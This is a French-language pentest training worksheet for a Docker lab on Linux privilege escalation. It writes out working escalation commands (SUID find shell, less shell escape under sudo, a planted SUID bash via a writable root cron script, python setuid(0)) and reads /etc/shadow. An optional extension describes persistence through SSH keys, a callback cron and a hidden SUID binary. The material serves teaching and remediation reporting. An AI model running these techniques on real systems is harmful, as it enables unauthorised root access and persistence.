Élévation de privilèges — Atelier pratique
Vous avez vu, dans la démonstration, comment un compte non privilégié devient root en exploitant une seule mauvaise configuration. À vous d'en trouver trois différentes, dans la même image cible, et de rédiger la fiche que vous rendriez à un client.
Compter : 3 h.
Livrable : ~/labs/rapport/elevations.md avec trois fiches structurées + ~/labs/preuves/ avec les traces d'exécution correspondantes.
Prérequis
Docker Desktop opérationnel. L'image inskillsec/kali-lab doit être construite (voir module 01) — le compose de M09 la construit automatiquement au premier lancement si vous ne l'avez pas encore.
Aucune VM. Aucune configuration réseau à faire. La cible et l'attaquant sont deux conteneurs qui se parlent sur un réseau privé Docker, 10.20.30.0/24.
Pourquoi Docker plutôt qu'une VM pour cet atelier
Cet atelier existait auparavant sur Metasploitable 2 + Metasploitable 3 en VirtualBox. Le passage à Docker n'est pas une préférence technique : c'est une décision pédagogique.
Ce qui a été perdu : Windows. Une VM Windows Server met en scène des voies d'élévation (Unquoted Service Path, DLL hijacking, AlwaysInstallElevated) qui n'ont pas d'équivalent sur Linux. Les conteneurs Windows existent, mais ils pèsent 5 à 6 Go, ne tournent que sur un hôte Windows, et ne reproduisent pas fidèlement une machine physique — le vrai geste demande services système, registre, GUI. Ces sujets sont couverts dans les concepts (leçon 9.1) et pointent vers HackTheBox pour la pratique.
Ce qui a été gagné : dix minutes de setup au lieu de deux heures, aucun problème d'adaptateur réseau bridge, aucun snapshot à faire, aucun mot de passe root perdu. Une cible reproductible bit à bit qui garantit que les quatre voies pédagogiques sont exactement celles décrites — pas huit CVE noyau qui divergent selon la version d'Ubuntu.
Ce qui reste inchangé : le raisonnement du pentester. SUID, sudo lax, cron writable, capabilities offensives — ce sont exactement les mêmes vecteurs que sur un vrai serveur. La cible Docker de cet atelier est plus réaliste que Metasploitable 2 sur ce point précis : Metasploitable 2 est un musée de CVE de 2004, la cible M09 reproduit des erreurs qu'on voit encore en 2026 sur des serveurs récents.
Étape 1 — Démarrer le lab (2 min)
cd labs/docker/module-09-elevation-privileges
docker compose up -d --build
Le premier --build prend deux à trois minutes (Ubuntu 22.04 + une vingtaine de paquets). Les suivants sont instantanés en cache.
Vérifier :
docker compose ps
docker compose logs cible-linux
Dans les logs, vous devez voir apparaître quatre lignes [m09] Voie … : … qui confirment que chaque vecteur est bien en place. Si l'une manque, la voie correspondante ne fonctionnera pas — voir la section dépannage.
Entrer dans l'attaquant :
docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Étape 2 — Le foothold bob (5 min)
Le point de départ est un compte utilisateur standard obtenu par un module précédent (phishing, mot de passe faible, service exposé). Ici, c'est bob:password en SSH.
Depuis l'attaquant :
ssh bob@10.20.30.20
# password : password
Vous êtes maintenant sur la cible, en tant que bob. Aucun privilège. C'est de là que tout le reste part.
Ce que représente concrètement un foothold en mission réelle
Sur une mission réelle, on n'entre presque jamais directement en tant que root. On entre en tant qu'un compte pauvre : un service web tourne en www-data, un compte de développeur oublié a un mot de passe faible, un mot de passe leaké sur GitHub fonctionne encore, un utilisateur non-sudo a cliqué sur un lien.
Ce compte permet trois choses : lire les fichiers accessibles, lancer des processus, écrire dans son propre répertoire. Il ne permet pas de lire /etc/shadow, de modifier /etc/passwd, ni d'écouter sur les ports privilégiés (< 1024).
L'élévation de privilèges est le pont entre ces deux mondes. C'est presque toujours l'étape qui prend le plus de temps dans une mission, et c'est celle qui distingue le plus un pentester expérimenté d'un débutant. Un débutant lance linpeas et clique sur ce qui brille. Un pentester lit la sortie de linpeas et sait déjà, à cette étape, laquelle des trente lignes suspectes est la vraie.
Étape 3 — Cartographier à la main (20 min)
Résistez à la tentation de lancer linpeas immédiatement. Faites d'abord une cartographie manuelle : c'est ce qui construit le réflexe. Linpeas viendra à l'étape 4 pour comparer.
Sur la cible, en tant que bob, quatre commandes suffisent à révéler les quatre voies :
# Voie 1 — binaires SUID
find / -perm -u=s -type f 2>/dev/null
# Voie 2 — sudo permis sans mot de passe
sudo -l
# Voie 3 — cron root et scripts modifiables
cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -l /opt/backup.sh
# Voie 4 — capabilities offensives
getcap -r / 2>/dev/null
Chaque commande révèle une piste — pas quatre pistes déguisées, quatre vraies pistes distinctes. Prenez cinq minutes pour comprendre ce que vous voyez avant de continuer.
Comment lire la sortie de find -perm -u=s
find / -perm -u=s -type f 2>/dev/null liste tous les fichiers dont le bit SUID est posé. La sortie contient typiquement 15 à 25 lignes sur un Ubuntu standard, et 90 % sont normales : su, sudo, mount, umount, passwd, chsh doivent avoir SUID pour fonctionner — ils changent d'identité pour la durée de leur exécution.
Ce que vous cherchez est le binaire qui n'a rien à faire dans cette liste. Sur cette cible, /usr/bin/find est SUID — un find normal n'est jamais SUID sur un Linux propre. C'est le signal.
La liste blanche de ce qui devrait être SUID sur Ubuntu 22.04 :
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
Tout ce qui sort de cette liste est un candidat d'élévation. find, less, awk, perl, python, vim, nmap, tar : chacun a une méthode GTFOBins pour donner un shell root.
sudo -l : la question à toujours poser en premier
sudo -l affiche ce que votre compte a le droit de faire avec sudo. La sortie contient trois cas :
Sorry, user bob may not run sudo— pas de droit sudo du tout. C'est le cas nominal.bob may run the following commands: (ALL) ALL— droit sudo complet avec mot de passe. Il faut le mot de passe de bob. Si vous l'avez déjà (c'était votre foothold), vous êtes root immédiatement :sudo su.bob may run the following commands: (ALL) NOPASSWD: /usr/bin/less /var/log/*— droit sudo restreint et sans mot de passe. C'est la voie 2 de cet atelier.
Le cas 3 est la faute la plus fréquente en production. L'admin voulait laisser bob lire les logs sans le déranger avec des mots de passe, il a écrit une règle de sudoers restrictive. Sauf que less accepte la commande !command qui lance un shell — hérité des droits sudo, donc root. C'est GTFOBins qui recense pour chaque commande la technique correspondante.
Cron writable : pourquoi c'est aussi grave
Cron exécute des commandes à intervalles réguliers, avec les droits de l'utilisateur pour lequel il a été configuré. /etc/crontab et /etc/cron.d/* contiennent les crons système, exécutés en root par défaut.
Le format d'une ligne cron est minute heure jour mois jour_semaine utilisateur commande. Sur cette cible, /etc/cron.d/backup contient :
* * * * * root /opt/backup.sh
Traduction : chaque minute, root exécute /opt/backup.sh. Rien de malin là-dedans — c'est un besoin métier normal (sauvegarde de logs).
La faute est ailleurs. /opt/backup.sh a les permissions 777 : lisible, exécutable, et modifiable par tout le monde, y compris bob. L'attaquant remplace le contenu du script par ce qu'il veut. Une minute plus tard, sa commande tourne en root.
C'est la seule voie de cet atelier qui demande de patienter — les trois autres donnent root immédiatement. On mesure ici la différence entre une attaque instantanée (SUID, sudo, capability) et une attaque temporisée (cron, service, watchdog). Sur une mission avec fenêtre courte, l'attaquant instantané gagne.
getcap : la voie que la moitié des pentesters oublient
Les capabilities Linux sont un mécanisme intermédiaire entre "utilisateur normal" et "root complet". Elles permettent d'accorder à un binaire une capacité spécifique — écouter sur les ports privilégiés, lire n'importe quel fichier, changer d'identité — sans lui donner tous les droits root.
Bien utilisées, elles remplacent SUID en plus sécurisé : au lieu d'un binaire qui devient root d'un coup, on lui accorde exactement la capacité dont il a besoin. Un ping qui a cap_net_raw peut ouvrir des sockets raw, mais ne peut rien d'autre — c'est plus strict qu'un ping SUID.
Mal utilisées, elles sont l'une des voies les plus discrètes vers root. cap_setuid+ep sur python autorise l'appel setuid(0), ce qui est devenir root. Cette capability n'apparaît pas dans find / -perm -u=s, ne se trouve pas dans sudo -l, ne fait pas partie de /etc/crontab. Un attaquant qui n'exécute pas getcap -r / la manque.
La commande getcap -r / 2>/dev/null liste toutes les capabilities du système. Cherchez les mots offensifs : cap_setuid, cap_setgid, cap_sys_admin, cap_dac_read_search, cap_dac_override. Chacune est un chemin direct vers root, à condition d'être sur un binaire qu'on peut invoquer (comme python, perl, gdb, ou un binaire qu'on écrit soi-même).
Notez ce que vous avez trouvé dans ~/labs/rapport/elevations.md. Une ligne par voie, en trois mots : SUID find, sudo NOPASSWD less, cron writable backup.sh, cap_setuid python3.
Étape 4 — Confirmer avec linpeas (10 min)
Depuis Kali, poussez linpeas sur la cible via un simple téléchargement HTTP (Kali héberge, bob télécharge) :
# --- Sur Kali (autre terminal) ---
cd /tmp
cp /usr/share/peass/linpeas/linpeas.sh . 2>/dev/null \
|| wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000
# --- Sur la cible (session bob) ---
cd /tmp
wget http://10.20.30.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee ~/linpeas-output.txt
Linpeas passe cinq minutes à tout scanner. Regardez les sections surlignées en rouge/jaune :
[+] SUID - Check easy privesc, exploits and write perms→ doit lister/usr/bin/find.[+] Checking sudo tokens→ doit lister la règle NOPASSWD sur less.[+] Cron jobs→ doit signaler/opt/backup.shavec ses droits777.[+] Capabilities→ doit listercap_setuid+epsur python3.10.
Rapatriez la sortie sur Kali pour l'archiver :
# Toujours sur la cible
exit # sort du SSH
# Sur Kali
scp bob@10.20.30.20:~/linpeas-output.txt ~/labs/preuves/00-linpeas.txt
Cette étape n'est pas là pour "trouver" — vous avez déjà tout trouvé à l'étape 3. Elle est là pour calibrer votre œil : à quoi ressemble la sortie de linpeas quand les misconfigs sont réelles ? Sur les prochaines missions, vous saurez immédiatement séparer un signal linpeas d'un faux positif.
Étape 5 — Choisir vos trois voies (5 min)
Vous avez quatre pistes, l'atelier en demande trois différentes (pas trois SUID sur trois binaires différents — trois vraies familles distinctes).
Suggestion : voie 1 + voie 2 + une des deux dernières. Les voies 1 et 2 sont classiques, les voies 3 et 4 sont plus subtiles.
Notez vos trois choix en tête de rapport/elevations.md, avec une phrase de justification par choix. Ce n'est pas une formalité — c'est le premier paragraphe que le RSSI lira dans le rapport.
Étape 6 — Voie 1 : SUID sur find (30 min)
Découverte :
ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find
Le s à la place du x du propriétaire est le bit SUID. find s'exécute donc avec les droits de root, indépendamment de qui le lance.
Exploitation :
find . -exec /bin/sh -p \; -quit
# id
# uid=1000(bob) euid=0(root) groups=1000(bob)
-exec lance une commande. \; -quit limite à une exécution. -p demande à sh de conserver l'euid effectif (0) au lieu de le laisser retomber à 1000 — sans -p, bash et sh se restreignent d'eux-mêmes quand ils détectent qu'ils tournent en SUID.
Confirmation :
whoami # affiche root
id # uid=1000(bob) euid=0(root)
cat /etc/shadow | head -3
Sauvegardez la trace :
script -q -c 'find . -exec /bin/sh -p \; -quit' ~/preuves/01-suid-find.log
Rédigez la fiche dans rapport/elevations.md avec le template ci-dessous.
Template de fiche à remplir
## Élévation 1 — SUID sur /usr/bin/find
### Contexte
- Cible : 10.20.30.20 (staging-01.acme.local)
- Compte de départ : bob (uid 1000)
- Objectif : root
### Découverte
- Commande : `find / -perm -u=s -type f 2>/dev/null`
- Sortie révélatrice : `/usr/bin/find` présent dans la liste, alors que ce binaire n'a
aucune raison d'être SUID sur un Linux propre.
### Exploitation
- Payload : `find . -exec /bin/sh -p \; -quit`
- Confirmation : `id` → `euid=0(root)`
### Impact
Un compte utilisateur standard devient root en une commande. Lecture de /etc/shadow,
modification de /etc/passwd, installation de backdoors, accès aux données de tous
les autres utilisateurs. En pratique : compromission complète de la machine.
### Recommandation
- Immédiate : `chmod u-s /usr/bin/find` — retirer le bit SUID.
- De fond : audit hebdomadaire des binaires SUID (`find / -perm -u=s -type f`),
alerte sur toute apparition d'un nouveau SUID hors liste blanche.
### Preuves
- preuves/01-suid-find.log
Étape 7 — Voie 2 : sudo NOPASSWD sur less (30 min)
Découverte :
sudo -l
# User bob may run the following commands on cible:
# (ALL) NOPASSWD: /usr/bin/less /var/log/*
bob peut lire tous les fichiers de /var/log/* en tant que root, sans mot de passe. Le raccourci humain est "il peut consulter les logs". Le vrai comportement est plus large.
Exploitation :
sudo less /var/log/backup.log
# Une fois less lancé, taper :
!/bin/bash
# Puis Entrée. Un shell s'ouvre. id :
# uid=0(root) gid=0(root) groups=0(root)
!command est une fonctionnalité documentée de less : elle passe la commande au shell avec les droits du processus less. Comme less tourne en sudo (donc root), le shell hérite de root.
Confirmation :
whoami # root
id # uid=0
exit # sort du bash
q # sort de less
Sauvegardez la trace :
script -q -c 'sudo less /var/log/backup.log' ~/preuves/02-sudo-less.log
# Dans less : !id ; puis q pour quitter
Pourquoi less accepte-t-il !command — historique
Less est un descendant de more, qui est un descendant du pager Berkeley des années 80. À cette époque, un pager n'était pas un lecteur passif : c'était un outil que l'administrateur système utilisait pour travailler. Naturel qu'on puisse, depuis less, lancer une commande sans quitter la page en cours.
La fonctionnalité !command a survécu. Elle est documentée dans la manpage — ni cachée, ni retirée. Le problème n'est pas less, c'est sudo less. Passer une commande interactive comme less en sudo est presque toujours une erreur : less, vi, awk, find, tar, tous acceptent une évasion de shell. La liste GTFOBins recense plus de 200 binaires avec au moins une méthode d'escape.
Règle stricte pour un admin qui écrit un sudoers : n'autoriser que des commandes non interactives en NOPASSWD. Idéal : un script maison sans arguments, encore mieux si posé sur un chemin dont bob ne peut pas écraser le contenu. Une règle NOPASSWD: /usr/local/bin/lire-log.sh bien écrite est sûre. Une règle NOPASSWD: /usr/bin/less /var/log/* ne l'est pas.
Rédigez la fiche dans le rapport.
Étape 8 — Voie 3 ou 4, au choix (30 min)
Option A — cron writable :
# En tant que bob
ls -l /opt/backup.sh
# -rwxrwxrwx 1 root root ... /opt/backup.sh
# Injecter une commande
cat > /opt/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
# Attendre une minute (cron s'exécute * * * * *)
sleep 65
# Utiliser le bash SUID posé par root
/tmp/rootbash -p
# id → euid=0
Sauvegarde :
script -q -c '/tmp/rootbash -p' ~/preuves/03-cron.log
Option B — capability cap_setuid sur python3 :
getcap /usr/bin/python3.10
# /usr/bin/python3.10 cap_setuid=ep
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# id → uid=0
Sauvegarde :
script -q -c "python3.10 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'" \
~/preuves/03-capability.log
Rédigez la fiche correspondante.
Pourquoi la voie 3 demande d'attendre et pas les autres
Cron réveille son démon toutes les minutes. Quand vous réécrivez /opt/backup.sh, rien ne se passe immédiatement — vous devez attendre le prochain top d'horloge.
En mission réelle, cette latence peut être une bonne nouvelle : elle rend l'attaque détectable seulement dans les logs au moment où le cron s'exécute, pas au moment où le script est modifié. Beaucoup de SIEM surveillent execve(/opt/backup.sh), pas write(/opt/backup.sh) — l'attaquant a le temps de nettoyer son passage.
Elle peut aussi être une mauvaise nouvelle si vous êtes chronométré. Une fenêtre de test de deux heures ne s'accommode pas d'un cron @daily. Toujours regarder la fréquence : */1 *, */5 *, @hourly, @daily. Un cron @daily sur un lab de deux heures est inexploitable en pratique — c'est de la théorie.
L'atelier utilise * * * * * (chaque minute) pour rester praticable. Sur une vraie mission, si vous tombez sur @daily, écrivez le vecteur dans le rapport comme hypothétiquement exploitable et passez à autre chose.
Étape 9 — Le rapport global (20 min)
Avant les trois fiches, ajoutez un résumé exécutif de cinq à dix lignes, un tableau récapitulatif, et une section recommandations globales.
# Rapport d'élévation de privilèges — staging-01.acme.local
## Résumé exécutif
Trois voies d'élévation de privilèges ont été identifiées et exploitées sur
le serveur staging-01.acme.local à partir d'un compte utilisateur standard
(bob). Chacune conduit à un accès root complet en moins d'une minute. Aucune
ne dépend d'un exploit noyau — toutes reposent sur des erreurs de configu-
ration du système ou de sudo. La correction ne demande aucun redémarrage
et peut se faire en moins de trente minutes cumulées.
## Synthèse
| # | Vecteur | Découverte | Exploitation | Correction |
| - | ------- | ---------- | ------------ | ---------- |
| 1 | SUID `/usr/bin/find` | `find / -perm -u=s` | `find . -exec /bin/sh -p \; -quit` | `chmod u-s /usr/bin/find` |
| 2 | sudo NOPASSWD `less /var/log/*` | `sudo -l` | dans less : `!/bin/bash` | Réécrire `/etc/sudoers.d/bob-less` |
| 3 | Cron writable `/opt/backup.sh` | `cat /etc/cron.d/*` | Réécrire `backup.sh`, attendre 1 min | `chmod 755 /opt/backup.sh`, propriétaire root |
## Fiches détaillées
(les 3 fiches ci-dessus)
## Recommandations globales
1. **Auditer** tous les binaires SUID / SGID une fois par semaine et alerter sur toute
apparition hors liste blanche.
2. **Réécrire** tous les sudoers NOPASSWD : n'autoriser que des scripts maison
non interactifs, jamais un binaire système directement.
3. **Vérifier** les permissions de tous les scripts référencés dans /etc/crontab
et /etc/cron.d/ — aucun script exécuté par root ne doit être modifiable
par un utilisateur non root.
4. **Recenser** les capabilities du système une fois par mois : `getcap -r /`.
Retirer toute capability sur un binaire interpréteur (python, perl, ruby)
ou un binaire GTFOBins connu.
5. **Détecter** en runtime toute exécution de `setuid()` par un compte non
privilégié, tout `execve()` déclenché depuis un cron writable, tout appel
à `!command` dans less (via auditd).
Grille d'auto-évaluation
- Trois élévations exploitées réellement, pas simplement identifiées.
- Trois voies différentes : pas trois SUID, pas trois sudo, pas trois cron.
- Chaque fiche a : contexte + découverte + exploitation + impact + recommandation + preuves.
- Preuves complètes dans
preuves/(au moins un fichier par élévation, plus la sortie linpeas). - Aucune fiche ne se limite à une capture d'écran d'un
whoami. - Recommandations concrètes, pas « renforcer la sécurité » ni « mettre à jour ».
- Résumé exécutif de moins de dix lignes en tête du rapport.
- Tableau synthèse en une page, lisible sans les fiches.
- Aucun exploit noyau — cet atelier ne demande jamais d'exploit noyau.
Extension optionnelle — Écrire un bash-persist.sh
Une fois root, comment un attaquant reste-t-il ? Écrivez preuves/persist.sh qui installe trois mécanismes de persistance :
- Une clé SSH ajoutée dans
/root/.ssh/authorized_keys. - Un cron
@rebootqui rappelle vers l'attaquant. - Un binaire SUID caché dans
/tmp/.X11-lock(nom volontairement anodin).
Documentez chaque mécanisme, et la commande pour le supprimer proprement en fin de mission. Un pentester qui oublie un backdoor n'est plus un pentester — le rapport doit lister ce qu'il a posé et la procédure de retrait.
Sur cette cible Docker, la persistance disparaît au premier docker compose down -v. C'est une bonne nouvelle pédagogique : vous pouvez expérimenter sans craindre d'oublier un artefact. Sur une vraie mission, la commande de retrait fait partie du livrable.
Ce qui bloque en général
| Symptôme | Cause | Correction |
|---|---|---|
find . -exec /bin/sh \; donne un shell mais id dit uid=1000 | Bash a droppé SUID | Utiliser -p : /bin/sh -p ou bash -p. |
sudo less demande un mot de passe | Fichier sudoers pas appliqué | docker compose exec cible-linux cat /etc/sudoers.d/bob-less. |
!command dans less n'ouvre pas de shell | Version de less trop récente en sécurité renforcée | Utiliser !/bin/bash -p explicitement. |
| Le cron ne s'exécute jamais | Service cron pas démarré | docker compose logs cible-linux — doit afficher [m09] Voie 3. Sinon docker compose restart cible-linux. |
python3 -c 'os.setuid(0)' renvoie EPERM | Capability perdue au build ou cap_add: SETUID retiré du compose | Rebuild : docker compose build --no-cache cible-linux. |
| linpeas dit "no writable cron" alors que /opt/backup.sh l'est | Version de linpeas antérieure à 2023 | Télécharger la release latest depuis GitHub. |
| Shell root perd sa couleur / son prompt | Bash minimal en SUID | export PS1='# ' puis source /root/.bashrc si accessible. |
Ce que l'atelier ne couvre pas — et où aller
Windows privesc — Unquoted Service Path, DLL hijacking, AlwaysInstallElevated
Les images Windows Server dans Docker existent (mcr.microsoft.com/windows/server), mais elles pèsent 5 à 6 Go, ne tournent que sur un hôte Windows, et ne simulent pas fidèlement une station physique — beaucoup de services système sont absents.
Pour pratiquer réellement :
- HackTheBox Optimum, Legacy, Blue, Devel — machines Windows retirées, disponibles gratuitement sur le tier Starter.
- VulnHub — VM Windows à télécharger et exécuter sur VirtualBox.
- Windows Server 2019 evaluation — ISO gratuite chez Microsoft, valide 180 jours. Installez-la dans VirtualBox et enchaînez avec WinPEAS + PowerUp.
Concepts couverts par la leçon 9.1 :
- Unquoted Service Path : un service dont le chemin contient des espaces sans guillemets, Windows résout en essayant chaque segment. Un
C:\Program.exeposé par l'attaquant est exécuté avantC:\Program Files\App\bin.exe. - DLL hijacking : un service charge une DLL par nom (
shell32.dll), Windows la cherche dans plusieurs répertoires. Si l'un d'eux est écrivable, l'attaquant y pose sa DLL. - AlwaysInstallElevated : deux clés de registre
HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=1etHKLM\...autorisent tout utilisateur à installer un MSI en tant que SYSTEM.
Kerberoasting et Active Directory
Reproduire un domaine Active Directory dans Docker demande deux à trois conteneurs (samba-ad-dc, LDAP, Kerberos), une configuration DNS partagée, et un stockage persistant. Le résultat n'est pas fidèle à un AD Microsoft — Samba AD est un bon substitut pour Kerberos mais pas pour les subtilités de LSASS ou de l'ADCS.
Pour pratiquer :
- GOAD (Game of Active Directory) : github.com/Orange-Cyberdefense/GOAD. Vagrant + VirtualBox, monte un domaine
sevenkingdoms.localavec plusieurs machines vulnérables. Le lab de référence en francophone. - HackTheBox Prolabs Dante, Offshore, Zephyr : parcours guidés Active Directory, quelques dizaines de dollars mais très instructifs.
- TryHackMe — modules AD gratuits pour se familiariser avec l'outillage (impacket, bloodhound, mimikatz).
L'atelier suivant (module 10 — Mouvements latéraux) couvre le pivot en Docker, ce qui est le prérequis technique du mouvement latéral en AD.
Ce que vous emportez de cet atelier
- Trois voies d'élévation effectivement exploitées, pas quatre lignes de linpeas prises en photo.
- Un vocabulaire précis : SUID,
cap_setuid,sudo -l, GTFOBins, cron writable, capability offensive. - Un rapport de trois à cinq pages présentable à un client, avec résumé exécutif, tableau, fiches et recommandations globales.
- La capacité de refaire ce travail seul(e), en trois heures, sur n'importe quelle mission future — quels que soient les vecteurs présents.
Prochaine étape : le quiz. Puis le module 10 — Mouvement latéral. Une fois root sur une machine, comment on compromet les vingt autres du réseau interne.